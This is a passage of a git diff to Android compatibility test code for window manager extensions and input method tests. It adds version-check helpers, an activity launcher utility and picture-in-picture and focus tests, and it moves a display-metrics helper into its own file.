             @NonNull Class secondActivityClass, @NonNull SplitPairRule splitPairRule,
             @NonNull String secondActivityId, int expectedCallbackCount,
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
index 320fed1..835e2f9 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/ExtensionUtil.java
@@ -23,11 +23,13 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
+import android.content.Context;
 import android.graphics.Rect;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
+import androidx.annotation.UiContext;
 import androidx.window.extensions.WindowExtensions;
 import androidx.window.extensions.WindowExtensionsProvider;
 import androidx.window.extensions.area.WindowAreaComponent;
@@ -37,8 +39,6 @@
 import androidx.window.extensions.layout.WindowLayoutInfo;
 
 import java.util.List;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.TimeoutException;
 import java.util.stream.Collectors;
 
 /**
@@ -50,7 +50,9 @@
 
     private static final String EXTENSION_TAG = "Extension";
 
-    public static final Version MINIMUM_STABLE_EXTENSION_VERSION = new Version(1, 0, 0, "");
+    public static final Version EXTENSION_VERSION_1 = new Version(1, 0, 0, "");
+
+    public static final Version EXTENSION_VERSION_2 = new Version(1, 1, 0, "");
 
     @NonNull
     public static Version getExtensionVersion() {
@@ -68,10 +70,29 @@
         return Version.UNKNOWN;
     }
 
+    public static boolean isExtensionVersionAtLeast(Version targetVersion) {
+        final Version version = getExtensionVersion();
+        return version.compareTo(targetVersion) >= 0;
+    }
+
+    /**
+     * If called on a device with the vendor api level less than the bound then the test will be
+     * ignored.
+     * @param vendorApiLevel minimum {@link WindowExtensions#getVendorApiLevel()} for a test to
+     *                       succeed
+     */
+    public static void assumeVendorApiLevelAtLeast(int vendorApiLevel) {
+        final Version version = getExtensionVersion();
+        assumeTrue(
+                "Needs vendorApiLevel " + vendorApiLevel + " but has " + version.getMajor(),
+                version.getMajor() >= vendorApiLevel
+        );
+    }
+
     public static boolean isExtensionVersionValid() {
         final Version version = getExtensionVersion();
         // Check that the extension version on the device is at least the minimum valid version.
-        return version.compareTo(MINIMUM_STABLE_EXTENSION_VERSION) >= 0;
+        return version.compareTo(EXTENSION_VERSION_1) >= 0;
     }
 
     @Nullable
@@ -91,7 +112,7 @@
         assumeTrue("Device does not support extensions", extensionNotNull);
         // If extensions are on the device, make sure that the version is valid.
         assertTrue("Extension version is invalid, must be at least "
-                + MINIMUM_STABLE_EXTENSION_VERSION.toString(), isExtensionVersionValid());
+                + EXTENSION_VERSION_1.toString(), isExtensionVersionValid());
     }
 
     @Nullable
@@ -103,9 +124,15 @@
         return extension.getWindowLayoutComponent();
     }
 
+    /**
+     * Publishes a WindowLayoutInfo update to a test consumer. In EXTENSION_VERSION_1, only type
+     * Activity can be the listener to WindowLayoutInfo changes. This method should be called at
+     * most once for each given Activity because addWindowLayoutInfoListener implementation
+     * assumes a 1-1 mapping between the activity and consumer.
+     */
     @Nullable
     public static WindowLayoutInfo getExtensionWindowLayoutInfo(Activity activity)
-            throws ExecutionException, InterruptedException, TimeoutException {
+            throws InterruptedException {
         WindowLayoutComponent windowLayoutComponent = getExtensionWindowLayoutComponent();
         if (windowLayoutComponent == null) {
             return null;
@@ -113,12 +140,46 @@
         TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
                 new TestValueCountConsumer<>();
         windowLayoutComponent.addWindowLayoutInfoListener(activity, windowLayoutInfoConsumer);
-        return windowLayoutInfoConsumer.waitAndGet();
+        WindowLayoutInfo info = windowLayoutInfoConsumer.waitAndGet();
+
+        // The default implementation only allows a single listener per activity. Since we are using
+        // a local windowLayoutInfoConsumer within this function, we must remember to clean up.
+        // Otherwise, subsequent calls to addWindowLayoutInfoListener with the same activity will
+        // fail to have its callback registered.
+        windowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
+        return info;
+    }
+
+    /**
+     * Publishes a WindowLayoutInfo update to a test consumer. In EXTENSION_VERSION_2 both type
+     * WindowContext and Activity can be listeners. This method should be called at most once for
+     * each given Context because addWindowLayoutInfoListener implementation assumes a 1-1
+     * mapping between the context and consumer.
+     */
+    @Nullable
+    public static WindowLayoutInfo getExtensionWindowLayoutInfo(@UiContext Context context)
+            throws InterruptedException {
+        assertTrue(isExtensionVersionAtLeast(EXTENSION_VERSION_2));
+        WindowLayoutComponent windowLayoutComponent = getExtensionWindowLayoutComponent();
+        if (windowLayoutComponent == null) {
+            return null;
+        }
+        TestValueCountConsumer<WindowLayoutInfo> windowLayoutInfoConsumer =
+                new TestValueCountConsumer<>();
+        windowLayoutComponent.addWindowLayoutInfoListener(context, windowLayoutInfoConsumer);
+        WindowLayoutInfo info = windowLayoutInfoConsumer.waitAndGet();
+
+        // The default implementation only allows a single listener per context. Since we are using
+        // a local windowLayoutInfoConsumer within this function, we must remember to clean up.
+        // Otherwise, subsequent calls to addWindowLayoutInfoListener with the same context will
+        // fail to have its callback registered.
+        windowLayoutComponent.removeWindowLayoutInfoListener(windowLayoutInfoConsumer);
+        return info;
     }
 
     @NonNull
     public static int[] getExtensionDisplayFeatureTypes(Activity activity)
-            throws ExecutionException, InterruptedException, TimeoutException {
+            throws InterruptedException {
         WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(activity);
         if (windowLayoutInfo == null) {
             return new int[0];
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityLauncher.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityLauncher.java
new file mode 100644
index 0000000..22b77ed
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityLauncher.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.utils;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+public class TestActivityLauncher<T extends Activity> {
+
+    /** Key for string extra, ID to track an Activity that is launched. */
+    public static final String KEY_ACTIVITY_ID = "ActivityID";
+
+    /**
+     * Options that will be passed to the instrumentation.
+     * @see TestActivityLauncher#launch(Instrumentation)
+     */
+    private final ActivityOptions mOptions = ActivityOptions.makeBasic();
+
+    /**
+     * The class for the {@link Activity} that you are launching.
+     */
+    private final Class<T> mActivityClass;
+
+    /**
+     * The intent that will be used to launch the {@link Activity}.
+     */
+    private final Intent mIntent;
+
+    public TestActivityLauncher(@NonNull Context context, @NonNull Class<T> activityClass) {
+        mActivityClass = activityClass;
+        mIntent = new Intent(context, activityClass);
+    }
+
+    public TestActivityLauncher<T> addIntentFlag(int flag) {
+        mIntent.addFlags(flag);
+        return this;
+    }
+
+    public TestActivityLauncher<T> setActivityId(@Nullable String id) {
+        mIntent.putExtra(KEY_ACTIVITY_ID, id);
+        return this;
+    }
+
+    public TestActivityLauncher<T> setWindowingMode(int windowingMode) {
+        mOptions.setLaunchWindowingMode(windowingMode);
+        return this;
+    }
+
+    public T launch(@NonNull Instrumentation instrumentation) {
+        return mActivityClass.cast(instrumentation.startActivitySync(mIntent, mOptions.toBundle()));
+    }
+
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
index 1987020..455db39 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestActivityWithId.java
@@ -16,7 +16,7 @@
 
 package android.server.wm.jetpack.utils;
 
-import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.ACTIVITY_ID_LABEL;
+import static android.server.wm.jetpack.utils.TestActivityLauncher.KEY_ACTIVITY_ID;
 
 import android.content.Intent;
 import android.os.Bundle;
@@ -37,8 +37,8 @@
 
         // Get ID
         Intent intent = getIntent();
-        if (intent != null && intent.hasExtra(ACTIVITY_ID_LABEL)) {
-            mId = intent.getStringExtra(ACTIVITY_ID_LABEL);
+        if (intent != null && intent.hasExtra(KEY_ACTIVITY_ID)) {
+            mId = intent.getStringExtra(KEY_ACTIVITY_ID);
         }
     }
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
index 4ebeac4..2dd8da4 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/TestValueCountConsumer.java
@@ -58,6 +58,11 @@
         return value;
     }
 
+    // Doesn't change the count.
+    public void clearQueue() {
+        mLinkedBlockingQueue.clear();
+    }
+
     @Nullable
     public T getLastReportedValue() {
         return mLastReportedValue;
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
index dd9c168..0495238 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/utils/WindowManagerJetpackTestBase.java
@@ -16,12 +16,17 @@
 
 package android.server.wm.jetpack.utils;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
 import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_LANDSCAPE;
+import static android.content.pm.PackageManager.FEATURE_SCREEN_PORTRAIT;
 import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
 import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
+import static android.server.wm.jetpack.utils.TestActivityLauncher.KEY_ACTIVITY_ID;
 
 import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -30,11 +35,13 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
 import android.app.Application;
 import android.app.Instrumentation;
+import android.app.PictureInPictureParams;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -57,7 +64,6 @@
 /** Base class for all tests in the module. */
 public class WindowManagerJetpackTestBase {
 
-    public static final String ACTIVITY_ID_LABEL = "ActivityID";
     public static final String EXTRA_EMBED_ACTIVITY = "EmbedActivity";
     public static final String EXTRA_SPLIT_RATIO = "SplitRatio";
 
@@ -86,24 +92,45 @@
         sVisibleActivities.clear();
     }
 
-    public Activity startActivityNewTask(@NonNull Class activityClass) {
+    protected boolean hasDeviceFeature(final String requiredFeature) {
+        return mContext.getPackageManager().hasSystemFeature(requiredFeature);
+    }
+
+    /**
+     * Rotation support is indicated by explicitly having both landscape and portrait
+     * features or not listing either at all.
+     */
+    protected void assumeSupportsRotation() {
+        final boolean supportsLandscape = hasDeviceFeature(FEATURE_SCREEN_LANDSCAPE);
+        final boolean supportsPortrait = hasDeviceFeature(FEATURE_SCREEN_PORTRAIT);
+        assumeTrue((supportsLandscape && supportsPortrait)
+                || (!supportsLandscape && !supportsPortrait));
+    }
+
+    public <T extends Activity> T startActivityNewTask(@NonNull Class<T> activityClass) {
         return startActivityNewTask(activityClass, null /* activityId */);
     }
 
-    public Activity startActivityNewTask(@NonNull Class activityClass,
+    public <T extends Activity> T startActivityNewTask(@NonNull Class<T> activityClass,
             @Nullable String activityId) {
-        return startActivityNewTask(mContext, mInstrumentation, activityClass, activityId);
+        return launcherForActivityNewTask(activityClass, activityId, false /* isFullScreen */)
+                .launch(mInstrumentation);
     }
 
-    public static Activity startActivityNewTask(@NonNull Context context,
-            @NonNull Instrumentation instrumentation, @NonNull Class activityClass,
+    public <T extends  Activity> T startFullScreenActivityNewTask(@NonNull Class<T> activityClass,
             @Nullable String activityId) {
-        final Intent intent = new Intent(context, activityClass);
-        intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
-        if (activityId != null) {
-            intent.putExtra(ACTIVITY_ID_LABEL, activityId);
-        }
-        return instrumentation.startActivitySync(intent);
+        return launcherForActivityNewTask(activityClass, activityId, true/* isFullScreen */)
+                .launch(mInstrumentation);
+    }
+
+    private <T extends Activity> TestActivityLauncher<T> launcherForActivityNewTask(
+            @NonNull Class<T> activityClass, @Nullable String activityId, boolean isFullScreen) {
+        final int windowingMode = isFullScreen ? WINDOWING_MODE_FULLSCREEN :
+                WINDOWING_MODE_UNDEFINED;
+        return new TestActivityLauncher<>(mContext, activityClass)
+                .addIntentFlag(FLAG_ACTIVITY_NEW_TASK)
+                .setActivityId(activityId)
+                .setWindowingMode(windowingMode);
     }
 
     /**
@@ -141,7 +168,7 @@
     public static <T extends Activity> void startActivityFromActivity(Activity activityToLaunchFrom,
             Class<T> activityToLaunchClass, String newActivityId) {
         Intent intent = new Intent(activityToLaunchFrom, activityToLaunchClass);
-        intent.putExtra(ACTIVITY_ID_LABEL, newActivityId);
+        intent.putExtra(KEY_ACTIVITY_ID, newActivityId);
         activityToLaunchFrom.startActivity(intent);
     }
 
@@ -154,7 +181,7 @@
         Intent intent = new Intent();
         intent.setClassName(activityToLaunchComponent.getPackageName(),
                 activityToLaunchComponent.getClassName());
-        intent.putExtra(ACTIVITY_ID_LABEL, newActivityId);
+        intent.putExtra(KEY_ACTIVITY_ID, newActivityId);
         intent.putExtras(extras);
         activityToLaunchFrom.startActivity(intent);
     }
@@ -210,6 +237,36 @@
         assertEquals(orientation, activity.getResources().getConfiguration().orientation);
     }
 
+    public static void enterPipActivityHandlesConfigChanges(TestActivity activity) {
+        if (activity.isInPictureInPictureMode()) {
+            throw new IllegalStateException("Activity must not be in PiP");
+        }
+        activity.resetLayoutCounter();
+        // Enter picture in picture
+        PictureInPictureParams params = (new PictureInPictureParams.Builder()).build();
+        activity.enterPictureInPictureMode(params);
+        // Wait for the activity to layout, which will happen after the Activity has been resized.
+        assertTrue(activity.waitForLayout());
+        // Check that Activity is in PiP.
+        assertTrue(activity.isInPictureInPictureMode());
+    }
+
+    public static void exitPipActivityHandlesConfigChanges(TestActivity activity) {
+        if (!activity.isInPictureInPictureMode()) {
+            throw new IllegalStateException("Activity must be in PiP");
+        }
+        activity.resetLayoutCounter();
+        // Launch the same Activity using the single top flag so that the PiP Activity will be
+        // expanded to full screen.
+        Intent intent = new Intent(activity, activity.getClass());
+        intent.addFlags(FLAG_ACTIVITY_SINGLE_TOP);
+        activity.startActivity(intent);
+        // Wait for the activity to layout, which will happen after the Activity has been resized.
+        assertTrue(activity.waitForLayout());
+        // Check that the Activity is not in PiP.
+        assertFalse(activity.isInPictureInPictureMode());
+    }
+
     public static void setActivityOrientationActivityDoesNotHandleOrientationChanges(
             TestActivity activity, int orientation) {
         // Make sure that the provided orientation is a fixed orientation
@@ -235,6 +292,10 @@
      * display rotates for orientation, then the maximum portrait bounds will be a rotated version
      * of the maximum landscape bounds.
      */
+    // TODO(b/186631239): ActivityManagerTestBase#ignoresOrientationRequests could disable
+    // activity rotation, as a result the display area would remain in the old orientation while
+    // the activity orientation changes. We should check the existence of this request before
+    // running tests that compare orientation values.
     public static boolean doesDisplayRotateForOrientation(@NonNull Rect portraitMaximumBounds,
             @NonNull Rect landscapeMaximumBounds) {
         return !portraitMaximumBounds.equals(landscapeMaximumBounds);
diff --git a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
index e9a1721..4978e04 100644
--- a/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
+++ b/tests/framework/base/windowmanager/jetpack/window-extensions-release.aar
Binary files differ
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 75aa696..eea2396 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -171,74 +171,6 @@
         return result;
     }
 
-    public static class DisplayMetricsSession implements AutoCloseable {
-        private final ReportedDisplayMetrics mInitialDisplayMetrics;
-        private final int mDisplayId;
-
-        DisplayMetricsSession(int displayId) {
-            mDisplayId = displayId;
-            mInitialDisplayMetrics = ReportedDisplayMetrics.getDisplayMetrics(mDisplayId);
-        }
-
-        ReportedDisplayMetrics getInitialDisplayMetrics() {
-            return mInitialDisplayMetrics;
-        }
-
-        ReportedDisplayMetrics getDisplayMetrics() {
-            return ReportedDisplayMetrics.getDisplayMetrics(mDisplayId);
-        }
-
-        void changeAspectRatio(double aspectRatio, int orientation) {
-            final Size originalSize = mInitialDisplayMetrics.physicalSize;
-            final int smaller = Math.min(originalSize.getWidth(), originalSize.getHeight());
-            final int larger = (int) (smaller * aspectRatio);
-            Size overrideSize;
-            if (orientation == ORIENTATION_LANDSCAPE) {
-                overrideSize = new Size(larger, smaller);
-            }
-            else {
-                overrideSize = new Size(smaller, larger);
-            }
-            overrideDisplayMetrics(overrideSize, mInitialDisplayMetrics.physicalDensity);
-        }
-
-        void changeDisplayMetrics(double sizeRatio, double densityRatio) {
-            // Given a display may already have an override applied before the test is begun,
-            // resize based upon the override.
-            final Size originalSize;
-            final int density;
-            if (mInitialDisplayMetrics.overrideSize != null) {
-                originalSize = mInitialDisplayMetrics.overrideSize;
-            } else {
-                originalSize = mInitialDisplayMetrics.physicalSize;
-            }
-
-            if (mInitialDisplayMetrics.overrideDensity != null) {
-                density = mInitialDisplayMetrics.overrideDensity;
-            } else {
-                density = mInitialDisplayMetrics.physicalDensity;
-            }
-
-            final Size overrideSize = new Size((int)(originalSize.getWidth() * sizeRatio),
-                    (int)(originalSize.getHeight() * sizeRatio));
-            final int overrideDensity = (int)(density * densityRatio);
-            overrideDisplayMetrics(overrideSize, overrideDensity);
-        }
-
-        void overrideDisplayMetrics(final Size size, final int density) {
-            mInitialDisplayMetrics.setDisplayMetrics(size, density);
-        }
-
-        void restoreDisplayMetrics() {
-            mInitialDisplayMetrics.restoreDisplayMetrics();
-        }
-
-        @Override
-        public void close() {
-            restoreDisplayMetrics();
-        }
-    }
-
     /** @see ObjectTracker#manage(AutoCloseable) */
     protected DisplayMetricsSession createManagedDisplayMetricsSession(int displayId) {
         return mObjectTracker.manage(new DisplayMetricsSession(displayId));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 4b7242e..7b75861b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -18,6 +18,7 @@
 
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
@@ -494,6 +495,39 @@
     }
 
     /**
+     * Verifies the Activity in primary TaskFragment is no longer focused after clear adjacent
+     * TaskFragments.
+     */
+    @Test
+    public void testResetFocusedAppAfterClearAdjacentTaskFragment() {
+        // TODO(b/232476698) Remove the assume in the next release.
+        assumeExtensionVersionAtLeast2();
+
+        // Initialize test environment by launching Activity A and B side-by-side.
+        initializeSplitActivities(false /* verifyEmbeddedTask */);
+
+        // Request the focus on the primary TaskFragment
+        WindowContainerTransaction wct = new WindowContainerTransaction()
+                .requestFocusOnTaskFragment(mTaskFragA.getTaskFragToken());
+        mTaskFragmentOrganizer.applyTransaction(wct);
+        waitForActivityFocused(5000, mActivityA);
+        assertThat(mWmState.getFocusedApp()).isEqualTo(mActivityA.flattenToShortString());
+
+        // Expand top TaskFragment and clear the adjacent TaskFragments to have the two
+        // TaskFragment stacked.
+        wct = new WindowContainerTransaction()
+                .setBounds(mTaskFragB.getToken(), new Rect())
+                .setWindowingMode(mTaskFragB.getToken(), WINDOWING_MODE_UNDEFINED)
+                .setAdjacentTaskFragments(mTaskFragA.getTaskFragToken(), null, null);
+        mTaskFragmentOrganizer.applyTransaction(wct);
+
+        // Ensure the Activity on primary TaskFragment is stopped and no longer focused.
+        waitAndAssertActivityState(mActivityA, STATE_STOPPED, "Activity A must be stopped");
+        assertThat(mWmState.getFocusedApp()).isNotEqualTo(mActivityA.flattenToShortString());
+        assertThat(mWmState.getFocusedWindow()).isEqualTo(mActivityB.flattenToShortString());
+    }
+
+    /**
      * Verifies an Activity below adjacent translucent TaskFragments is visible.
      */
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
index 5ec5b97..d3bd635 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/TaskFragmentTrustedModeTest.java
@@ -26,7 +26,6 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertThrows;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.ComponentName;
@@ -128,8 +127,6 @@
      */
     @Test
     public void testUntrustedModeTaskFragmentVisibility_reparentActivityInTaskFragment() {
-        // TODO(b/207070762): Remove after migration is done.
-        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final Activity translucentActivity = startActivity(TranslucentActivity.class);
 
         // Create a task fragment with activity in untrusted mode.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 76b34f7..9465e90 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -49,7 +49,11 @@
 
 import androidx.annotation.NonNull;
 
+import com.android.compatibility.common.util.OverrideAnimationScaleRule;
+
 import org.junit.Assert;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
 import org.mockito.InOrder;
 
 import java.util.ArrayList;
@@ -63,6 +67,10 @@
  */
 public class WindowInsetsAnimationTestBase extends WindowManagerTestBase {
 
+    @Rule
+    public final OverrideAnimationScaleRule mOverrideAnimationScaleRule =
+            new OverrideAnimationScaleRule(1.0f);
+
     protected TestActivity mActivity;
     protected View mRootView;
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/DisplayMetricsSession.java b/tests/framework/base/windowmanager/util/src/android/server/wm/DisplayMetricsSession.java
new file mode 100644
index 0000000..86eea03
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/DisplayMetricsSession.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.server.wm.ActivityManagerTestBase.ReportedDisplayMetrics;
+
+import android.util.Size;
+
+/**
+ * A test helper class that queries or changes the latest DisplayMetrics override in WM by
+ * sending Shell wm commands. Provides handling for errors, orientation types and fallback
+ * behaviors.
+ * Example usage: This can be used to resize a Display in CTS test and trigger configuration
+ * changes.
+ */
+public class DisplayMetricsSession implements AutoCloseable {
+    private final ReportedDisplayMetrics mInitialDisplayMetrics;
+    private final int mDisplayId;
+
+    public DisplayMetricsSession(int displayId) {
+        mDisplayId = displayId;
+        mInitialDisplayMetrics = ReportedDisplayMetrics.getDisplayMetrics(
+                mDisplayId);
+    }
+
+    ReportedDisplayMetrics getInitialDisplayMetrics() {
+        return mInitialDisplayMetrics;
+    }
+
+    ReportedDisplayMetrics getDisplayMetrics() {
+        return ReportedDisplayMetrics.getDisplayMetrics(mDisplayId);
+    }
+
+    void changeAspectRatio(double aspectRatio, int orientation) {
+        final Size originalSize = mInitialDisplayMetrics.physicalSize;
+        final int smaller = Math.min(originalSize.getWidth(), originalSize.getHeight());
+        final int larger = (int) (smaller * aspectRatio);
+        Size overrideSize;
+        if (orientation == ORIENTATION_LANDSCAPE) {
+            overrideSize = new Size(larger, smaller);
+        } else {
+            overrideSize = new Size(smaller, larger);
+        }
+        overrideDisplayMetrics(overrideSize, mInitialDisplayMetrics.physicalDensity);
+    }
+
+    public void changeDisplayMetrics(double sizeRatio, double densityRatio) {
+        // Given a display may already have an override applied before the test is begun,
+        // resize based upon the override.
+        final Size originalSize;
+        final int density;
+        if (mInitialDisplayMetrics.overrideSize != null) {
+            originalSize = mInitialDisplayMetrics.overrideSize;
+        } else {
+            originalSize = mInitialDisplayMetrics.physicalSize;
+        }
+
+        if (mInitialDisplayMetrics.overrideDensity != null) {
+            density = mInitialDisplayMetrics.overrideDensity;
+        } else {
+            density = mInitialDisplayMetrics.physicalDensity;
+        }
+
+        final Size overrideSize = new Size((int)(originalSize.getWidth() * sizeRatio),
+                (int)(originalSize.getHeight() * sizeRatio));
+        final int overrideDensity = (int)(density * densityRatio);
+        overrideDisplayMetrics(overrideSize, overrideDensity);
+    }
+
+    void overrideDisplayMetrics(final Size size, final int density) {
+        mInitialDisplayMetrics.setDisplayMetrics(size, density);
+    }
+
+    public void restoreDisplayMetrics() {
+        mInitialDisplayMetrics.restoreDisplayMetrics();
+    }
+
+    @Override
+    public void close() {
+        restoreDisplayMetrics();
+    }
+}
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index 63f826f..5d00e88 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -31,7 +31,6 @@
         "androidx.test.rules",
         "androidx.test.uiautomator_uiautomator",
         "compatibility-device-util-axt",
-        "cts-wm-util",
         "cts-inputmethod-util",
         "cts-mock-a11y-ime-client",
         "ctstestrunner-axt",
@@ -41,6 +40,7 @@
         "testng",
         "kotlin-test",
         "cts-wm-util",
+        "cts_window-extensions",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index 0211434..79203ee 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -29,8 +29,8 @@
 
         <uses-library android:name="android.test.runner"/>
 
-        <!-- TestActivity etc are merged from util/AndroidManifest.xml -->
-
+        <uses-library android:name="androidx.window.extensions"
+                      android:required="false" />
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/inputmethod/mockime/Android.bp b/tests/inputmethod/mockime/Android.bp
index 5ee0505..ba03f4f 100644
--- a/tests/inputmethod/mockime/Android.bp
+++ b/tests/inputmethod/mockime/Android.bp
@@ -30,6 +30,8 @@
         "androidx.annotation_annotation",
         "androidx.autofill_autofill",
         "compatibility-device-util-axt",
+        "cts_window_jetpack_utils",
+        "cts_window-extensions",
     ],
 }
 
diff --git a/tests/inputmethod/mockime/AndroidManifest.xml b/tests/inputmethod/mockime/AndroidManifest.xml
index e695412..5753ebb 100644
--- a/tests/inputmethod/mockime/AndroidManifest.xml
+++ b/tests/inputmethod/mockime/AndroidManifest.xml
@@ -41,6 +41,7 @@
              android:exported="true"
              android:visibleToInstantApps="true">
         </provider>
-
+        <uses-library android:name="androidx.window.extensions"
+                      android:required="false" />
     </application>
 </manifest>
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index cb49460..cb0dd06 100644
